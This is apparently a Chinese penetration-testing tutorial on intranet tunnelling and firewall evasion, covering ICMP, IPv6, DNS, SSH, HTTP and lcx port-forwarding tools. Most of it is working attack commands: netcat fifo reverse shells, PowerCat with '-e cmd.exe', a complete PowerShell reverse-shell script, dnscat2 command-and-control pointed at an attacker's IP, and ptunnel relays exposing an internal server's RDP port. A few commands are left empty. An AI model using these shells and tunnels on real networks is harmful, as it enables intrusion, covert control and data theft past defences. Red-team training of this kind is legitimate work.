判断内网的连通性是指判断机器能否上外网等。(综合判断各种协议)各协议的方法如下:
TCP 协议
用netcat工具
执行 nc 命令:nc
。
HTTP 协议
用curl工具
执行curl
命令。
远程主机开启了相应的端口,且内网可连接外网的话,就会输出相应的端口信息。
CIMP 协议
用ping命令,执行ping
。
DNS 协议
检测DNS连通性常用的命令是nslookup和dig。
nslookup 是windows自带的DNS探测命令,执行:
nslookup www.baidu.com vps-ip
nslookup www.baidu.com // 不指定服务器,则使用默认的DNS服务器
dig是linux系统自带的DNS探测命令,执行:
dig @vps-ip www.baidu.com
dig www.baidu.com // 不指定服务器,则使用默认的DNS服务器
"IPv6"是"Internet Protrol Version 6"的缩写,也被称为是下一代互联网协议,它是由IETF(The Internet Engineering Task Force,国际互联网工程任务组)设计用来代替现行的IPv4协议的一种新的IP协议,IPv4协议已经使用了20多年,目前面临着地址匮乏等一系列问题,而IPv6则能从根本上解决这些问题,现在,由于IPv4资源几乎耗尽,IPv6开始进入过渡阶段。
下载地址
https://github.com/tech128/socat-1.7.3.0-windows
监听本地ipv6 10090端口 转发到本地ipv4 10090
socat.exe -d -d TCP6-LISTEN:10090,reuseaddr,fork tcp4:192.168.2.18:10090
下载地址
https://github.com/wojtekka/6tunnel
安装脚本
#!/bin/bash
DIR=/opt/software
INSTALL=6tunnel-master.tar.gz
yum install iptables-services net-tools openssl-devel siege traceroute -y|| exit 2
mkdir $DIR -p
cd $DIR && {
wget http://114.244.115.2:38080/$INSTALL
tar xf $INSTALL
}
ln -s $DIR/6tunnel-master/6tunnel /usr/local/sbin/
执行命令
6tunnel -4 [本机端口] [转发IP x:x:x:x] [转发端口]
针对IPv6隧道攻击,最好的防御办法是:了解IPv6的具体漏洞,结合其他协议,通过防火墙和深度防御系统过滤IPv6通信,提高主机和应用程序的安全性。
ICMP隧道是一个比较特殊的协议。在一般的通信协议里,如果两台设备要进行通信,肯定要开放端口,而在ICMP协议下就不需要。最常见的ICMP消息为Ping命令的回复,攻击者可以利用命令得到比回复更多的ICMP请求。在通常情况下,每个Ping命令都有相对应的回复与请求。
在一些条件下,如果攻击者使用各类隧道技术(HTTP,DNS,常规正反端口转发等)操作都失败了,常常会通过ping命令访问远程计算机,尝试进行ICMP隧道,将TCP/UDP数据封装到ICMP的ping数据包中,从而穿过防火墙(通常防火墙不会屏蔽ping数据包),实现不受限制的网络访问。
常见的ICMP隧道工具有:icmpsh、PingTunnel、icmptunnel、powershell icmp等。
下载地址
https://github.com/bdamele/icmpsh
icmpsh工具使用简单,是一个跨平台工具,运行不需要管理员权限。
使用icmpsh需要安装python的impacket类库,以便对于各种协议进行访问。
下载工具:
git clone https://github.com/bdamele/icmpsh
安装Python-impacket库:
apt-get install python-impacket
因为icmpsh工具要代替系统本身的ping命令的应答程序,所以需要输入如下命令来关闭本地系统的ICMP答应(如果要恢复系统答应,则设置为0),否则Shell的运行会不稳定:
sysctl -w net.ipv4.icmp_echo_ignore_all=1
输入./run.sh
并运行,会提示输入目标IP地址(目的主机的公网IP地址)
下载地址
http://freshmeat.sourceforge.net/projects/ptunnel/
解压一下
tar -zxf PingTunnel-0.72.tar.gz
安装
make && make install
如果安装过程中提示缺少pcap.h,安装一下
wget http://www.tcpdump.org/release/libpcap-1.9.0.tar.gz
下载完成后解压
tar -zxf libpcap-1.9.0.tar.gz
运行安装文件
./configure
如果安装过程中提示缺少yacc,安装一下
sudo apt-get install -y byacc
好了之后再安装一遍
./configure
make && make install
然后在内网web边界服务器输入
ptunnel -x calm
在vps上输入
ptunnel -p (vps的IP) -lp 1080 -da (web服务器内网的其他ip) -dp 3389 -x calm
这样可以成功把内网里面数据库服务器的3389通过边界web服务器转发到vps的1080端口。
许多管理员会阻止ICMP通信进入站点。但是在出站方向,ICMP通信是被允许的,而且目前大多数的网站通信和边界设备不会过滤ICMP流量。使用ICMP协议会产生大量的ICMP数据包。我们可以通过Wireshark进行ICMP数据分析,以检测恶意的ICMP流量。
在目标机器上执行如下命令,将目标机器3389端口的所有数据转发到公网VPS的4444端口上
lcx.exe -slave <公网主机IP地址> 4444 127.0.0.1 3389
在vps上执行如下命令,将本机4444端口上监听的所有数据转发到本机的5555端口上。
lcx.exe listen 4444 5555
此时,用mstsc登录"<公网主机IP地址>:5555",或者在VPS上用mstsc登录主机127.0.0.1的5555端口,即可访问目标服务器的3389端口。
如果目标服务器由于防火墙的限制,部分端口(例如3389)的数据无法通过防火墙,可以将目标服务器相应端口的数据透传到防火墙允许的其他端口(例如53)。在目标主机上执行如下命令,就可以直接从远程桌面连接目标主机的53端口。
lcx -tran 53 <目标主机的IP地址> 3389
netcat是一款知名的网络工具,简称nc。它可以做端口扫描,tcp/udp连接,远程传输文件,甚至远程传输流媒体,而且还可以实现远程shell等。
客户端连接服务器,获取服务器的shell
服务器:
mkfifo /tmp/fifo
cat /tmp/fifo | /bin/bash -i 2>&1 | nc -l 10000 > /tmp/fifo
客户端:
nc 192.168.1.102 8000
原理:
- 创建fifo文件,管道文件用于将nc输出文件与bash的输入文件。
- cat /tmp/fifo是从fifo读取数据,将数据通过管道传给bash。
- | /bin/bash -i 2>&1这里需要注意2>&1的意义,这是将2标准错误描述符重定向到1标准输出文件描述符指向的地方,为什么是&1,而不是1呢,这是为了转义1的意思表示文件描述符而不是文件名为1。
- 将bash执行结果输入到nc输入中,从而可以传至客户端。
- 在客户端输入的命令数据通过服务端的nc输出重定向到fifo中,在服务端形成一个循环。
在服务端输入:
nc -l 8001
在客户端输入:
cat /tmp/fifo | /bin/bash -i 2>&1 | nc 192.168.1.102 8001 > /tmp/fifo
**背景:**192.168.1.103的msfadmin用户需要访问192.168.1.102的8000端口,但是该端口被防火墙保护着,不允许外界机器访问。目前msfadmin用户只能访问192.168.1.102的9000端口。需要9000端口做转发。
**目标:**msfadmin通过访问192.168.1.102的9000端口,达到与8000端口通话的目的。
在192.168.1.102上开启8000端口
nc -l 8000
在192.168.1.102上实现9000端口转发
cat /tmp/fifo | nc localhost 8000 | nc -l 9000 > /tmp/fifo
在192.168.1.103上连接192.168.1.102的9000端口
nc -n 192.168.1.102 9000
PowerCat
是NetCat
的Powershell
版本。
下载地址
https://github.com/besimorhino/powercat
由于PowerCat
是NetCat
的PowerShell
形式,所以,PowerCat
可以无缝的和Netcat
连接。PowerCat
的用法和Netcat
几乎一模一样。
由于PowerCat是NetCat的PowerShell形式,所以,PowerCat可以无缝的和Netcat连接。PowerCat的用法和Netcat几乎一模一样。
Windows上的powercat正向连接Kali上的nc
Kali(192.168.10.11):
nc -lvp 8888
Windows:
Import-Module .\powercat.ps1
powercat -c 192.168.10.11 -p 8888 -e cmd.exe
Kali上的nc反向连接Windows上的powercat
Kali:
nc 192.168.10.1 8888 -vv
Windows(192.168.10.1):
Import-Module .\powercat.ps1 powercat -l -p 8888 -e cmd.exe -v
方法一:
服务器监听(192.168.10.1):
Import-Module .\powercat.ps1powercat -l -p 8888
客户端连接:
Import-Module .\powercat.ps1powercat -c 192.168.10.1 -p 8888 -ep
方法二:
服务器监听(192.168.10.1):
Import-Module .\powercat.ps1powercat -l -p 8888
客户端连接:
.\reverse.ps1
其中,reverse.ps1 脚本的内容如下:
$client = New-Object System.Net.Sockets.TCPClient('192.168.10.1',8888);
$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte,0,$sendbyte.Length);
$stream.Flush()};
$client.Close()
SSH协议属于应用层协议,一个普通的SSH命令如下:ssh [email protected]
实验环境:
Kali:192.168.1.4
DMZ服务器:192.168.1.11/1.1.1.16
数据库服务器:1.1.1.10
适合目标机能够接收内部流量的情况
**转发目的:**以DMZ服务器为跳板,访问数据库服务的3389端口
Copy#在Kali上执行,会要求输入DMZ服务器的SSH密码:
ssh -CfNg -L 1153(本地端口):1.1.1.10:3389(目标主机) [email protected](跳板机)
本地转发是将远程主机某个端口的数据转发到本地机器的指定端口,此时访问本地的1153端口,即可成功代理目标主机的3389端口流量。
适合跳板机能够发送内部流量的情况
**转发目的:**以DMZ服务器为跳板,访问数据库服务的3389端口
Copy#在DMZ服务器上执行
ssh -CfNg -R 3307(Kali端口):1.1.1.10:3389(目标主机) [email protected](Kali主机)
远程转发是在远程主机上监听一个端口,所有访问远程服务器指定端口的数据都会通过SSH隧道传输到达本地的对应端口,此时访问Kali的3307端口,即可成功代理目标主机的3389端口流量
可以通过SSH隧道开启一个目标内网的代理通道
同一实验环境下,在Kali上执行:
Copyssh -CfNg -D 7000 [email protected](DMZ服务器)
此时即通过SSH隧道开放了一个可以访问目标服务器内网环境的流量通道
HTTP Service代理用于将所有的流量转发到内网。常见的代理工具有reGeorg、meterpreter、tunna等。
下载地址
https://github.com/sensepost/reGeorg
先将reGeorg的对应脚本上传到服务器端,reGeorg提供了PHP、ASPX、JSP脚本,直接访问显示Georg says, 'All seems fine'
,表示脚本运行正常。
运行命令提示符下切换到C:\Python27\,运行python reGeorgSocksProxy.py -u (上传reGeorg脚本的地址) -p (转发端口)
,参数顺序无强制要求。
是基于socks5,本地还需安装一个socks5代理工具。此类工具网上很多,就以Proxifier为例子。
监听代理时候注意规则,以Proxifier为例子,将python.exe添加列外,不然会死循环。
配置完成后,即可访问内网地址。
DNS协议这里不再多余赘述,利用DNS协议搭建隧道的工具有:dnscat2、iodine等。
Dnscat2是一个DNS隧道工具,通过DNS协议创建加密的命令和控制通道。
下载地址
https://github.com/iagox86/dnscat2
安装
服务端:
git clone https://github.com/iagox86/dnscat2.git
cd dnscat2
cd server
sudo gem install bundler
bundle install
客户端:
git clone https://github.com/iagox86/dnscat2.git
cd dnscat2/client/
make
运行
服务端:
ruby ./dnscat2.rb --dns "domain=localhost,host=127.0.0.1,port=53" --no-cache
客户端:
dnscat2-v0.07-client-win32.exe --dns server=攻击者的IP --secret=攻击者服务器生成的ID